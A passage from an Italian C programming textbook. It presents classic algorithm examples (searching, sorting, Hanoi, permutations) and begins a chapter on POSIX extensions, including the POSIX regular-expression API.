L’esempio seguente mostra solo la funzione, in forma iterativa:

```
unsigned int
fibonacci (unsigned int n)
{
    unsigned int f1 = 1;
    unsigned int f0 = 0;
    unsigned int fn = n;
    unsigned int i;

    for (i = 2; i <= n; i++)
      {
        fn = f1 + f0;
        f0 = f1;
        f1 = fn;
      }

    return fn;
}
```

Scansione di array

Ricerca sequenziale

```
#include <stdio.h>

int
ricercaseq (int lista[], int x, int a, int z)
{
    int i;

    // Scandisce l'array alla ricerca dell'elemento.

    for (i = a; i <= z; i++)
      {
        if (x == lista[i])
          {
            return i;
          }
      }

    // La corrispondenza non è stata trovata.

    return -1;
}

int
main (int argc, char *argv[])
{
    int lista[argc - 2];
    int x;
    int i;

    // Acquisisce il primo argomento come valore da cercare.

    sscanf (argv[1], "%i", &x);

    // Considera gli argomenti successivi come gli elementi
    // dell'array da scandire.

    for (i = 2; i < argc; i++)
      {
        sscanf (argv[i], "%i", &lista[i-2]);
      }

    // Esegue la ricerca.

    i = ricercaseq (lista, x, 0, argc - 2);

    // Emette il risultato.
```

```
    printf ("%i si trova nella posizione %i\n", x, i);

    return 0;
}
```

Al posto di dichiarare l'array ***lista*** con una quantità di elementi definita in fase di funzionamento, si può usare la funzione ***malloc()***, avendo cura di incorporare il file '`stdlib.h`':

```
#include <stdio.h>
#include <stdlib.h>
…
int
main (int argc, char *argv[])
{
    int *lista = (int *) malloc ((argc - 2) * sizeof (int));
…
```

Esiste anche una soluzione ricorsiva che viene mostrata nella subroutine seguente:

```
int
ricercaseq (int lista[], int x, int a, int z)
{
    if (a > z)
      {
        // La corrispondenza non è stata trovata.

        return -1;
      }
    else if (x == lista[a])
      {
        return a;
      }
    else
      {
        return ricercaseq (lista, x, a+1, z);
      }
}
```

Ricerca binaria

```
#include <stdio.h>

int
ricercabin (int lista[], int x, int a, int z)
{
    int m;

    // Determina l'elemento centrale.

    m = (a + z) / 2;

    if (m < a)
      {
        // Non restano elementi da controllare: l'elemento cercato
        // non c'è.

        return -1;
      }
    else if (x < lista[m])
      {
        // Si ripete la ricerca nella parte inferiore.

        return ricercabin (lista, x, a, m-1);
      }
    else if (x > lista[m])
      {
        // Si ripete la ricerca nella parte superiore.

        return ricercabin (lista, x, m+1, z);
      }
    else
      {
        // La variabile m rappresenta l'indice dell'elemento cercato.

        return m;
      }
}

int main (int argc, char *argv[])
{
    int lista[argc - 2];
    int x;
    int i;

    // Acquisisce il primo argomento come valore da cercare.
```

```
    sscanf (argv[1], "%i", &x);

    // Considera gli argomenti successivi come gli elementi
    // dell'array da scandire.

    for (i = 2; i < argc; i++)
      {
        sscanf (argv[i], "%i", &lista[i-2]);
      }

    // Esegue la ricerca.

    i = ricercabin (lista, x, 0, argc-2);

    // Emette il risultato.

    printf ("%i si trova nella posizione %i\n", x, i);

    return 0;
}
```

Per questo esempio vale la stessa considerazione fatta nella sezione precedente, a proposito dell'uso di ***malloc()*** al posto di un array con una quantità di elementi definita dinamicamente durante il funzionamento del programma.

Algoritmi tradizionali

Bubblesort

Viene mostrata prima una soluzione iterativa e successivamente la funzione '**`bsort`**' in versione ricorsiva.

```
#include <stdio.h>

void
bsort (int lista[], int a, int z)
{
    int scambio;
    int j;
    int k;

    // Inizia il ciclo di scansione dell'array.

    for (j = a; j < z; j++)
      {
        // Scansione interna dell'array per collocare nella
        // posizione j l'elemento giusto.
```

```
        for (k = j+1; k <= z; k++)
          {
            if (lista[k] < lista[j])
              {
                // Scambia i valori.

                scambio = lista[k];
                lista[k] = lista[j];
                lista[j] = scambio;
              }
          }
      }
}

int
main (int argc, char *argv[])
{
    int lista[argc-1];
    int i;

    // Considera gli argomenti come gli elementi
    // dell'array da ordinare.

    for (i = 1; i < argc; i++)
      {
        sscanf (argv[i], "%i", &lista[i-1]);
      }

    // Esegue il riordino.

    bsort (lista, 0, argc-2);

    // Emette il risultato.

    for (i = 0; i < (argc-1); i++)
      {
        printf ("%i ", lista[i]);
      }
    printf ("\n");

    return 0;
}
```

Segue la funzione '**bsort**' in versione ricorsiva.

```
void
bsort (int lista[], int a, int z)
```

```
{
    int scambio;
    int k;

    if (a < z)
      {
        // Scansione interna dell'array per collocare nella
        // posizione a l'elemento giusto.

        for (k = a+1; k <= z; k++)
          {
            if (lista[k] < lista[a])
              {
                // Scambia i valori.

                scambio = lista[k];
                lista[k] = lista[a];
                lista[a] = scambio;
              }
          }

        bsort (lista, a+1, z);
      }
}
```

Al posto di dichiarare l'array ***lista*** con una quantità di elementi definita in fase di funzionamento, si può usare la funzione ***malloc()***, avendo cura di incorporare il file '`stdlib.h`':

```
#include <stdio.h>
#include <stdlib.h>
...
int
main (int argc, char *argv[])
{
    int *lista = (int *) malloc ((argc - 1) * sizeof (int));
...
```

Torre di Hanoi

```
#include <stdio.h>

void hanoi (int n, int p1, int p2)
{
    if (n > 0)
      {
        hanoi (n-1, p1, 6-p1-p2);
```

```
        printf ("Muovi l'anello %i dal piolo %i al piolo %i\n", n, p1, p2);
        hanoi (n-1, 6-p1-p2, p2);
      }
}

int main (int argc, char *argv[])
{
    int n;
    int p1;
    int p2;

    sscanf (argv[1], "%i", &n);
    sscanf (argv[2], "%i", &p1);
    sscanf (argv[3], "%i", &p2);

    hanoi (n, p1, p2);

    return 0;
}
```

Quicksort

```
#include <stdio.h>

int
part (int lista[], int a, int z)
{
    // Viene preparata una variabile per lo scambio di valori.

    int scambio = 0;

    // Si assume che «a» sia inferiore a «z».

    int i = a + 1;
    int cf = z;

    // Inizia il ciclo di scansione dell'array.

    while (1)
      {
        while (1)
          {
            // Sposta «i» a destra.

            if ((lista[i] > lista[a]) || (i >= cf))
              {
                break;
```

```
              }
            else
              {
                i += 1;
              }
          }
        while (1)
          {
            // Sposta «cf» a sinistra.

            if (lista[cf] <= lista[a])
              {
                break;
              }
            else
             {
                cf -= 1;
             }
          }
        if (cf <= i)
          {
            // È avvenuto l'incontro tra «i» e «cf».

            break;
          }
        else
          {
            // Vengono scambiati i valori.

            scambio = lista[cf];
            lista[cf] = lista[i];
            lista[i] = scambio;

            i += 1;
            cf -= 1;
          }
      }

    // A questo punto lista[a..z] è stata ripartita e «cf» è la
    // collocazione di «lista[a]».

    scambio = lista[cf];
    lista[cf] = lista[a];
    lista[a] = scambio;

    // A questo punto, lista[cf] è un elemento (un valore) nella
    // giusta posizione.
```

```
    return cf;
}

void
quicksort (int lista[], int a, int z)
{
    // Viene preparata la variabile «cf».

    int (cf) = 0;

    if (z > a)
      {
        cf = part (lista, a, z);
        quicksort (lista, a, cf-1);
        quicksort (lista, cf+1, z);
      }
}

int
main (int argc, char *argv[])
{
    int lista[argc - 1];
    int i;

    // Considera gli argomenti come gli elementi
    // dell'array da ordinare.

    for (i = 1; i < argc; i++)
      {
        sscanf (argv[i], "%i", &lista[i-1]);
      }

    // Esegue il riordino.

    quicksort (lista, 0, argc-2);

    // Emette il risultato.

    for (i = 0; i < (argc-1); i++)
      {
        printf ("%i ", lista[i]);
      }
    printf ("\n");

    return 0;
}
```

Per questo esempio vale la stessa considerazione già fatta a proposito dell'uso di ***malloc()*** al posto di un array con una quantità di elementi definita dinamicamente durante il funzionamento del programma.

Permutazioni

```
#include <stdio.h>

void visualizza (int lista[], int dimensione)
{
    int i;

    for (i = 0; i < dimensione; i++)
      {
        printf ("%i ", lista[i]);
      }
    printf ("\n");
}

void permuta (int lista[], int a, int z, int dimensione)
{
    int scambio;
    int k;

    // Se il segmento di array contiene almeno due elementi, si
    // procede.

    if ((z - a) >= 1)
      {
        // Inizia un ciclo di scambi tra l'ultimo elemento e uno
        // degli altri contenuti nel segmento di array.

        for (k = z; k >= a; k--)
          {
            // Scambia i valori.

            scambio = lista[k];
            lista[k] = lista[z];
            lista[z] = scambio;

            // Esegue una chiamata ricorsiva per permutare un
            // segmento più piccolo dell'array.

            permuta (lista, a, z - 1, dimensione);

            // Scambia i valori.

            scambio = lista[k];
```

```
            lista[k] = lista[z];
            lista[z] = scambio;
          }
      }
    else
      {
        // Visualizza l'array.

        visualizza (lista, dimensione);
      }
}

int
main (int argc, char *argv[])
{
    int lista[argc - 1];
    int i;

    // Considera gli argomenti come gli elementi
    // dell'array da permutare.

    for (i = 1; i < argc; i++)
      {
        sscanf (argv[i], "%i", &lista[i-1]);
      }

    // Esegue le permutazioni.

    permuta (lista, 0, argc - 2, argc - 1);

    return 0;
}
```

Per questo esempio vale la stessa considerazione già fatta a proposito dell'uso di ***malloc()*** al posto di un array con una quantità di elementi definita dinamicamente durante il funzionamento del programma.

Capitolo 79

Introduzione alle estensioni POSIX

79.1 Dal C a POSIX 4633

79.1.1 Byte di otto bit 4633
79.1.2 Errori 4634
79.1.3 Gestione dei file 4634
79.1.4 Altre funzionalità particolari 4635

79.2 Espressioni regolari POSIX 4635

79.2.1 Compilazione, confronto e rilascio della memoria 4636
79.2.2 Compilazione dell'espressione regolare 4637
79.2.3 Liberazione della memoria 4639
79.2.4 Confronto 4639
79.2.5 Estrapolazione di sottostringhe 4641
79.2.6 Informazioni diagnostiche 4643
79.2.7 Esempio completo 4646

79.3 Avvio e conclusione dei processi 4648

79.3.1 Biforcazione: «fork» 4648
79.3.2 Sostituzione: «exec» 4650
79.3.3 Attesa della conclusione di un processo figlio 4651
79.3.4 Adozione dei processi 4652
79.3.5 Gli zombie 4653
79.3.6 Variabili di ambiente 4654
79.3.7 Variabili di ambiente e avvio di un programma 4655

79.4 Nozioni sui thread POSIX 4656

79.4.1 Numero identificativo del thread 4656
79.4.2 Creazione e conclusione di un thread aggiuntivo 4657
79.4.3 Caratteristiche della funzione che costituisce un thread aggiuntivo 4657
79.4.4 Avvio di thread separati e fusione successiva 4658
79.4.5 Conflitto nell'accesso ai dati 4661
79.4.6 Accesso alle risorse in modo mutualmente esclusivo 4664
79.4.7 Accesso esclusivo, ma condizionato 4667
79.4.8 Osservazioni finali 4671

79.5 I file secondo i sistemi POSIX 4672

79.5.1 Apertura e chiusura di un file 4672
79.5.2 Lettura e scrittura 4676
79.5.3 Spostamento dell'indicatore interno al file 4679

79.5.4 Controllo degli errori 4681

79.6 Il file system Unix e la sua gestione tipica 4681

79.6.1 Il blocco 4681
79.6.2 Il super blocco 4682
79.6.3 Gli inode 4682
79.6.4 La directory 4684
79.6.5 Tabelle del sistema operativo 4685

79.7 Il file system Minix 1 4689

79.7.1 Blocchi e zone 4689
79.7.2 Struttura generale 4690
79.7.3 Super blocco 4690
79.7.4 Mappa di inode 4691
79.7.5 Mappa di zone 4693
79.7.6 Inode 4693
79.7.7 Directory 4695
79.7.8 Il problema dell'inversione dei byte 4696

79.8 Creazione ed eliminazione di file di qualunque tipo 4696

79.8.1 La funzione «mknod()» 4696
79.8.2 La funzione «mkdir()» 4700
79.8.3 La funzione «mkfifo()» 4701
79.8.4 La funzione «unlink()» 4701
79.8.5 La funzione «rmdir()» 4702
79.8.6 La funzione «remove()» 4703

79.9 Condotti 4703

79.9.1 Realizzazione materiale del condotto 4703
79.9.2 Condotti «senza nome» e condotti «con nome» 4704
79.9.3 Protocollo di accesso ai condotti 4705
79.9.4 Funzione «pipe()» 4705
79.9.5 Esempio di condotto attraverso un file FIFO 4708

79.10 Lettura delle directory 4711

79.10.1 Tipi derivati 4711
79.10.2 Procedura per accedere a una directory 4712
79.10.3 Attributo «FD_CLOEXEC» 4712
79.10.4 Esempio di utilizzo delle funzioni di accesso alle directory 4713

79.11 Riferimenti 4713

close() 4672 closedir() 4712 creat() 4672 DIR 4711 dirent.h 4711 environ 4654 errno 4681 execl() 4650 execve() 4655 fcntl.h 4672 FD_CLOEXEC 4712 fork() 4648 init 4652 lseek() 4679 major() 4699 makedev() 4699 minor() 4699 mkdir() 4700 mkfifo() 4701 4708 mknod() 4696 open() 4672 opendir() 4712 O_APPEND 4672 O_CREAT 4672 O_EXCL 4672 O_NOCTTY 4672 O_NONBLOCK 4672 O_RDONLY 4672 O_RDWR 4672 O_SYNC 4672 O_TRUNC 4672 O_WRONLY 4672 pipe() 4705 pthread_t 4656 read() 4676 readdir() 4712 regcomp() 4636 4637 regerror() 4636 4643 regex.h 4636 regexec() 4636 4639 4641 regex_t 4636 4637 regfree() 4636 4639 regmatch_t 4636 4639 4641 remove() 4703 rewinddir() 4712 rmdir() 4702 stat.h 4672 struct dirent 4711 S_IRGRP 4672 S_IROTH 4672 S_IRUSR 4672 S_IRWXG 4672 S_IRWXO 4672 S_IRWXU 4672 S_ISGID 4672 S_ISUID 4672 S_ISVTX 4672 S_IWGRP 4672 S_IWOTH 4672 S_IWUSR 4672 S_IXGRP 4672 S_IXOTH 4672 S_IXUSR 4672 unistd.h 4672 unlink() 4701 wait() 4651 write() 4676

79.1 Dal C a POSIX

Lo standard del linguaggio C è definito in modo tale da consentirne l'uso in contesti architetturali molto diversi tra loro. Tuttavia, il linguaggio C è nato per i sistemi Unix e quando si vuole considerare una libreria di funzioni più ampia, rispetto allo standard del linguaggio, ci si riferisce normalmente allo standard POSIX. Pertanto, lo standard POSIX estende la libreria del linguaggio C, con funzionalità che dipendono da un'organizzazione del sistema operativo conforme, almeno fondamentalmente, a quella di Unix.

Logicamente, i sistemi operativi possono essere più o meno conformi con lo standard POSIX e l'utilizzo delle estensioni introdotte da questo standard va preceduto da una ricerca sulla loro compatibilità.

In generale va osservato che dal C puro a POSIX, la filosofia di programmazione cambia leggermente e occorre considerare alcuni particolari.

79.1.1 Byte di otto bit

Lo standard C prescrive che un byte sia di almeno 8 bit, mentre secondo POSIX, il byte diventa necessariamente di 8 bit. Infatti, nel file di intestazione '`stdint.h`', secondo lo standard C la definizione dei tipi derivati '**[u]int*n*_t**' è facoltativa, ma nello standard POSIX diviene obbligatoria. Così facendo, dato che diviene obbligatorio disporre dei tipi derivati '**`int8_t`**' e '**`uint8_t`**', non avendo un altro modo per definirli, è necessario che il tipo '**`char`**' sia esattamente di 8 bit:

```
typedef signed char             int8_t;
…
typedef unsigned char           uint8_t;
```

Per lo stesso motivo, tutti gli altri tipi interi devono essere multipli (al quadrato), del byte, ma oltre a questo, quando la CPU fosse anche in grado di gestire facilmente interi più grandi di 32 bit, il tipo '**`int`**' potrebbe essere al massimo di soli 32 bit. Per esempio, disponendo di una CPU a 128 bit, si è praticamente costretti a dichiarare questi tipi derivati nel modo seguente, riservando, evidentemente, il tipo '**`long long int`**' per gli interi a 128 bit che per l'architettura sarebbero invece normali:

```
typedef signed char              int8_t;
typedef short int                int16_t;
typedef int                      int32_t;
typedef long int                 int64_t;
//typedef long long int          int128_t;      // non standard

typedef unsigned char            uint8_t;
typedef unsigned short int       uint16_t;
typedef unsigned int             uint32_t;
typedef unsigned long int        uint64_t;
//typedef unsigned long long int uint128_t;     // non standard
```

79.1.2 Errori

Molte funzioni, aggiunte dallo standard POSIX, che restituiscono un valore intero, utilizzano il valore −1 per dichiarare la presenza di un errore che ha prodotto un esito non valido. In tal caso, si possono avere funzioni che restituiscono un valore, che, se maggiore o uguale a zero, è valido, mentre se è negativo non lo è, oppure funzioni che semplicemente restituiscono zero o −1.

Questo fatto si scontra con il principio per cui lo zero equivale a *Falso* e un valore diverso da zero equivale a *Vero*, perché in questo caso occorre verificare precisamente il valore, oppure occorre invertirlo logicamente perché abbia il significato atteso.

Questa inversione logica dei risultati si riscontra anche nei programmi di servizio di un sistema operativo POSIX, per cui il linguaggio della shell POSIX considera lo zero come un valore pari a *Vero* e qualunque altro valore pari a *Falso*.

Oltre a questo fatto, i tipi di errore che si possono annotare nella variabile ***errno*** sono molto più numerosi rispetto a quanto previsto dallo standard C, pertanto aumentano le macro-variabili previste nel file '`errno.h`'.

79.1.3 Gestione dei file

La libreria standard del linguaggio C prevede una gestione dei file attraverso dei «flussi», mentre la libreria POSIX introduce il concetto di descrittore del file (*file descriptor*), ovvero un semplice numero intero.[1]

In uno stesso programma si possono usare entrambe le modalità di gestione dei file, ma è evidente che va evitato l'uso simultaneo sullo stesso file.

A parte la differenza nel modo di identificare un file aperto in un programma, la libreria POSIX mette in condizione di accedere alla gestione dei permessi e delle altre caratteristiche dei file, secondo le convenzioni di un sistema Unix; inoltre offre una gestione ordinata dei blocchi di accesso a porzioni degli stessi (*lock*).

79.1.4 Altre funzionalità particolari

La libreria POSIX offre anche altre funzionalità che possono essere importanti. Per esempio definisce delle funzioni per il trattamento delle espressioni regolari e per la gestione dei thread multipli.

79.2 Espressioni regolari POSIX

Un'espressione regolare è un modello che descrive la corrispondenza con una porzione di una stringa. Le espressioni regolari sono costruite, in maniera analoga alle espressioni matematiche, combinando espressioni più brevi. Lo standard POSIX distingue due tipi di espressioni regolari: quelle elementari, o BRE, e quelle estese, o ERE (si vedano in particolare le sezioni dedicate alle espressioni regolari in generale: 26.1 e 26.2). Lo standard POSIX prevede una libreria specifica per la gestione delle espressioni regolari, a cui si fa riferimento in questo capitolo.

Va osservato che nel caso del compilatore GCC, con le librerie GNU, per la compilazione sono sufficienti le librerie principali, le quali vengono incluse automaticamente.

Tabella 79.3. Schema sintetico delle espressioni regolari, secondo la definizione POSIX: operatori fondamentali.

Descrizione	BRE POSIX	ERE POSIX
Escape: protezione del carattere successivo o attribuzione a tale carattere di un significato speciale.	`\`	`\`
Ancora all'inizio della riga o della stringa.	`^`	`^`
Ancora alla fine della riga o della stringa.	`$`	`$`
Alternativa.		`|`
Raggruppamento.	`\(` `\)`	`(` `)`
Elenco (individua un solo carattere).	`[` `]`	`[` `]`
Riferimento al raggruppamento ***n*** esimo.	`\`***n***	

Tabella 79.4. Schema sintetico delle espressioni regolari, secondo la definizione POSIX: operatori interni alle espressioni tra parentesi quadre.

Descrizione	BRE POSIX	ERE POSIX
Sequenze.	***xy***...	***xy***...
Intervalli.	***x***-***y***	***x***-***y***
Elementi di collazione.	`[.` `.]`	`[.` `.]`
Caratteri equivalenti.	`[=` `=]`	`[=` `=]`
Classi di caratteri.	`[:` `:]`	`[:` `:]`

Tabella 79.5. Schema sintetico delle espressioni regolari, secondo la definizione POSIX: operatori di ripetizione.

Descrizione	BRE POSIX	ERE POSIX
Zero o più ripetizioni del carattere ***x***.	***x***`*`	***x***`*`
Una o nessuna occorrenza del carattere ***x***.		***x***`?`
Una o più ripetizioni del carattere ***x***.		***x***`+`
Esattamente ***n*** volte il carattere ***x***.	***x***`\{`***n***`\}`	***x***`{`***n***`}`
Almeno ***n*** volte ***x***.	***x***`\{`***n***`,\}`	***x***`{`***n***`,}`
Da ***n*** a ***m*** volte ***x***.	***x***`\{`***n***`,`***m***`\}`	***x***`{`***n***`,`***m***`}`

79.2.1 Compilazione, confronto e rilascio della memoria

Per eseguire un confronto con un'espressione regolare, attraverso le funzioni definite dallo standard POSIX, è necessario prima tradurre l'espressione regolare in una variabile strutturata di tipo '**`regex_t`**'. Tale operazione di analisi e traduzione dell'espressione regolare viene definita dallo standard come «compilazione». La compilazione dell'espressione regolare avviene con la funzione ***regcomp()***, con la quale, oltre che fornire la stringa contenente l'espressione regolare stessa, si devono specificare delle opzioni sul modo in cui interpretarla o gestirla. Per esempio, in questa fase va stabilito se l'espressione è di tipo BRE o ERE, se conta la differenza tra lettere maiuscole e minuscole, se si intendono estrapolare delle sottostringhe attraverso la comparazione, se il codice di interruzione di riga ha un qualche valore particolare o meno.

Quando si dispone di un'espressione regolare compilata, si può passare alla comparazione di questa con una stringa, attraverso la funzione ***regexec()***, con la quale si possono dare delle opzioni aggiuntive, nel modo finale di effettuare il confronto. Per la comparazione può essere necessaria la definizione di una variabile strutturata, di tipo '**`regmatch_t`**'.

Quando la variabile strutturata contenente l'espressione regolare non serve più, va rilasciata espressamente la memoria a cui gli elementi della stessa fanno riferimento. In altri termini, non basta liberare la memoria della variabile che rappresenta la struttura, perché rimarrebbero allocati altri dati raggiunti attraverso dei puntatori. Per liberare un'espressione regolare compilata si utilizza la funzione ***regfree()***.

Le funzioni ***regcomp()*** e ***regexec()***, hanno la caratteristica di restituire un valore intero, pari a zero se l'operazione è stata conclusa con successo, oppure un valore diverso se si è verificato qualche tipo di problema. I valori restituiti, se diversi da zero, sono codificati ordinatamente da macro-variabili simboliche appropriate. Eventualmente, con la funzione ***regerror()***, è possibile ottenere la traduzione dell'errore, associato al riferimento all'espressione regolare compilata, in una stringa più esplicita.

Per utilizzare le espressioni regolari POSIX è necessario includere inizialmente il file di intestazione '`regex.h`'.

79.2.2 Compilazione dell'espressione regolare

Un'espressione regolare, in forma di stringa, viene compilata attraverso la funzione ***regcomp()***, inserendo i dati necessari in una struttura di tipo '**regex_t**'.

```
int regcomp (regex_t *restrict re, const char *restrict regex,
             int cflags);
```

Il prototipo della funzione mostra che il primo parametro, ***re***, deve essere un puntatore al tipo '**regex_t**': si tratta della struttura che viene modificata attraverso la compilazione. Il secondo parametro, ***regex***, è la stringa che descrive l'espressione regolare (la stringa deve essere terminata regolarmente con un carattere nullo, come di consueto). L'ultimo parametro, '**cflags**', è un numero intero i cui bit descrivono le opzioni da considerare per l'interpretazione corretta della stringa dell'espressione regolare; tali bit vengono composti assieme attraverso l'uso di macro-variabili simboliche che fanno parte della stessa libreria della funzione ***regcomp()***.

Tabella 79.6. Il tipo '**regex_t**' definisce una variabile strutturata che contiene almeno il membro '**re_sub**'.

Tipo	Nome	Descrizione
`size_t`	`re_sub`	Quantità di sottoespressioni tra parentesi tonde.

Va osservato che l'espressione regolare viene fornita attraverso una stringa «normale», ovvero un array di '**char**'.

L'esempio seguente dovrebbe servire a comprendere l'uso della funzione ***regcomp()***:

```
#include <regex.h>
...
    regex_t re;
    regcomp (&re, "01[a-z]*", REG_EXTENDED|REG_NOSUB);
...
```

Come si può osservare, viene dichiarata una variabile di tipo '**regex_t**', della quale viene fornito il puntatore nella chiamata di ***regcomp()***; inoltre, l'ultimo argomento della funzione è composto utilizzando due macro-variabili simboliche, sommate assieme con l'operatore '**|**', ovvero un OR bit per bit.

Tabella 79.8. Macro-variabili simboliche da usare come opzioni per la compilazione di un'espressione regolare.

Macro-variabile	Significato
`REG_EXTENDED`	L'espressione regolare fornita è di tipo ERE (estesa). Se non si usa questa opzione, si intende che l'espressione sia di tipo BRE.
`REG_ICASE`	L'espressione regolare fornita va valutata senza distinguere tra lettere maiuscole o minuscole.

Macro-variabile	Significato
REG_NOSUB	Per la compilazione dell'espressione regolare non si intende tenere conto della corrispondenza eventuale di sottostringhe; in altri termini, non si vogliono considerare le parentesi '`\(`' e '`\)`', oppure '`(`' e '`)`' (a seconda che si tratti di ERE o BRE). In tal caso, l'espressione regolare serve per il confronto, ma non per estrapolare porzioni del risultato ottenuto.
REG_NEWLINE	In condizioni normali, il codice *new-line* contenuto nella stringa con cui l'espressione regolare deve essere confrontata, viene trattato come gli altri caratteri. Con l'opzione '**`REG_NEWLINE`**', invece, l'operatore '`^`' individua l'inizio di un testo che segue un codice *new-line*, mentre l'operatore '`$`' individua la fine di un testo che precede un codice *new-line*.

La funzione ***regcomp()*** restituisce zero se il procedimento di compilazione dell'espressione regolare termina regolarmente, senza problemi nell'interpretazione della stringa che la rappresenta; altrimenti restituisce un valore diverso che rappresenta un errore. Per poter valutare l'errore, occorre fare un confronto con delle macro-variabili simboliche, come descritto nella tabella successiva.

Tabella 79.9. Macro-variabili simboliche che rappresentano il tipo di errore restituito dalla funzione ***regcomp()***.

Macro-variabile	Significato
REG_BADBR	Il contenuto di '`\{`...`\}`' (nel caso di BRE) o di '`{`...`}`' (nel caso di ERE), risulta non valido: potrebbe non trattarsi di un numero, oppure potrebbe esserci un numero troppo grande, oppure potrebbero esserci più di due numeri, oppure il primo potrebbe essere più grande del secondo. Infatti, il contenuto di tale raggruppamento deve essere un numero singolo, oppure due numeri separati da una virgola, dove il primo deve essere inferiore al secondo.
REG_BADPAT	Espressione regolare non valida (errore di sintassi).
REG_BADRPT	Un operatore di ripetizione, del tipo '`?`', '`*`' o '`+`', non è preceduto a un'espressione regolare, ovvero si trova in una posizione sbagliata.
REG_ECOLLATE	Elemento di collazione (*collating element*) non valido, nell'ambito della configurazione locale attuale.
REG_ECTYPE	Riferimento a una classe di caratteri non valida.
REG_EESCAPE	L'espressione regolare termina con '`\`' e ciò non è ammissibile.
REG_ESUBREG	Una sequenza '`\`***n***', dove ***n*** è un numero, è errata.
REG_EBRACE	Le parentesi graffe che descrivono la ripetizione di qualcosa non bilanciano. Può trattarsi di sequenze del tipo '`\{`...`\}`' per le espressioni BRE o del tipo '`{`...`}`' per le espressioni ERE.
REG_EBRACK	Parentesi quadre non bilanciate (parentesi aperta e non chiusa, o viceversa).
REG_EPAREN	Le parentesi tonde che descrivono delle sottoespressioni non bilanciano. Può trattarsi di sequenze del tipo '`\(`...`\)`' per le espressioni BRE o del tipo '`(`...`)`' per le espressioni ERE.
REG_ERANGE	Un'estremità di un intervallo di valori non è valido.
REG_ESPACE	Il procedimento di interpretazione dell'espressione regolare porta all'esaurimento della memoria disponibile.

79.2.3 Liberazione della memoria

Un'espressione regolare compilata occupa memoria, non solo nella variabile strutturata che la rappresenta, ma anche in altre aree a cui il contenuto di tale variabile può puntare. Quando l'espressione regolare non serve più, la memoria relativa va liberata esplicitamente, attraverso la funzione ***regfree()***, la quale non restituisce alcunché e richiede di indicare solo il puntatore alla variabile strutturata che rappresenta l'espressione regolare stessa.

```
void regfree (regex_t *re);
```

79.2.4 Confronto

La comparazione di un'espressione regolare compilata e di una stringa, si svolge con la funzione ***regexec()***. Questa funzione richiede diversi argomenti, perché ci deve essere la possibilità di estrapolare anche delle sottostringhe, corrispondenti a delle sottoespressioni racchiuse tra parentesi tonde.

```
int regexec (const regex_t *restrict re, const char *restrict stringa,
             size_t n_match, regmatch_t p_match[restrict],
             int eflags);
```

Il prototipo della funzione ***regexec()*** può apparire inizialmente complicato da interpretare. I primi due parametri sono sostanzialmente l'espressione regolare compilata e la stringa da confrontare. Il terzo parametro rappresenta la quantità di elementi dell'array che viene fornito come quarto parametro (di tipo '**`regmatch_t`**'). L'ultimo parametro rappresenta delle opzioni da applicare in fase di comparazione.

Per comprendere l'utilizzo della funzione, inizialmente conviene lasciare da parte i parametri ***n_match*** e ***pmatch***. Così facendo è possibile verificare se l'espressione regolare trova una corrispondenza nella stringa fornita. L'esempio seguente (che dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-regex-1.c*⟩) mostra la dichiarazione di una funzione che svolge tutti i passaggi, dalla compilazione alla liberazione della memoria:

```
#include <stdio.h>
#include <regex.h>

int
regex_match (char *pattern, const char *string)
{
    int       status;
    regex_t   re;
    status = regcomp (&re, pattern, REG_EXTENDED|REG_NOSUB);
    if (status != 0)
      {
        return (0);
      }
    status = regexec (&re, string, (size_t) 0, NULL, 0);
```

```
    if (status != 0)
      {
        regfree (&re);
        return (0);
      }
    regfree (&re);
    return (1);
}

int
main (void)
{
    char *string       = "Ciao amore mio";
    char *re           = "iao";

    if (regex_match (re, string))
      {
        printf ("Il modello \"%s\" trova corrispondenza ", re);
        printf ("nella stringa \"%s\"\n", string);
      }
    else
      {
        printf ("Il modello \"%s\" NON trova corrispondenza ", re);
        printf ("nella stringa \"%s\"\n", string);
      }
    return 0;
}
```

In pratica, la funzione ***regexec()*** viene usata semplicemente fornendo il puntatore alla variabile strutturata contenente l'espressione regolare compilata e la stringa da confrontare:

```
regexec (&re, string, (size_t) 0, NULL, 0);
```

Le opzioni che possono essere indicate alla funzione ***regexec()***, come ultimo argomento, sono solo due e riguardano la facoltà di considerare l'inizio o la fine della stringa come l'inizio o la fine di una riga.

Tabella 79.12. Macro-variabili simboliche da usare come opzioni per la comparazione di una stringa con un'espressione regolare.

Macro-variabile	Significato
`REG_NOTBOL`	In condizioni normali, il carattere '`^`' trova corrispondenza con l'inizio di una stringa. Con questa opzione, si inibisce tale corrispondenza (*not begin of line*).
`REG_NOTEOL`	In condizioni normali, il carattere '`$`' trova corrispondenza con la fine di una stringa. Con questa opzione, si inibisce tale corrispondenza (*not end of line*).

Il valore restituito dalla funzione ***regexec()*** è zero se il confronto avviene con successo, diversamente si ha un valore diverso da zero, per indicare la mancanza di corrispondenza o l'utilizzo eccessivo di memoria. Va osservato che la macro-variabile ***REG_ESPACE*** è la stessa già vi-

sta per la funzione ***regcomp()*** e che ***REG_NOTBOL*** rappresenta, opportunamente, un valore differente da tutte le altre macro-variabili ***REG_...***.

Tabella 79.13. Macro-variabili simboliche che rappresentano il tipo di errore (o di insuccesso) restituito dalla funzione ***regexec()***.

Macro-variabile	Significato
`REG_ESPACE`	Il procedimento di confronto porta all'esaurimento della memoria disponibile.
`REG_NOMATCH`	Non c'è corrispondenza tra espressione regolare e stringa.

79.2.5 Estrapolazione di sottostringhe

Quando un'espressione regolare contiene una porzione del proprio codice racchiuso tra '**`\(`**' e '**`\)`**', nel caso di espressioni BRE, oppure tra '**`(`**' e '**`)`**', nel caso di espressioni ERE, è possibile estrapolare la porzione di stringa che corrisponde a tale sottoespressione. Per fare questo si usa un array di variabili strutturate di tipo '**`regmatch_t`**' che viene fornito come argomento della chiamata di ***regexec()***.

Della variabile strutturata di tipo '**`regmatch_t`**' si sa solo che contiene almeno due campi, denominati '**`rm_so`**' e '**`rm_eo`**' (*regular expression match*: *start offset* e *end offset*). I due campi in questione, sono, a loro volta, di tipo '**`regoff_t`**', corrispondente a un valore intero con segno, di rango appropriato.

Tabella 79.14. Organizzazione di una variabile strutturata di tipo '**`regmatch_t`**'.

Tipo	Nome del membro	Descrizione
`regoff_t`	`rm_so`	Scostamento in byte, dall'inizio della stringa, corrispondente all'inizio della sottostringa individuata.
`regoff_t`	`rm_eo`	Scostamento in byte, dall'inizio della stringa, corrispondente al carattere **successivo** alla sottostringa individuata.

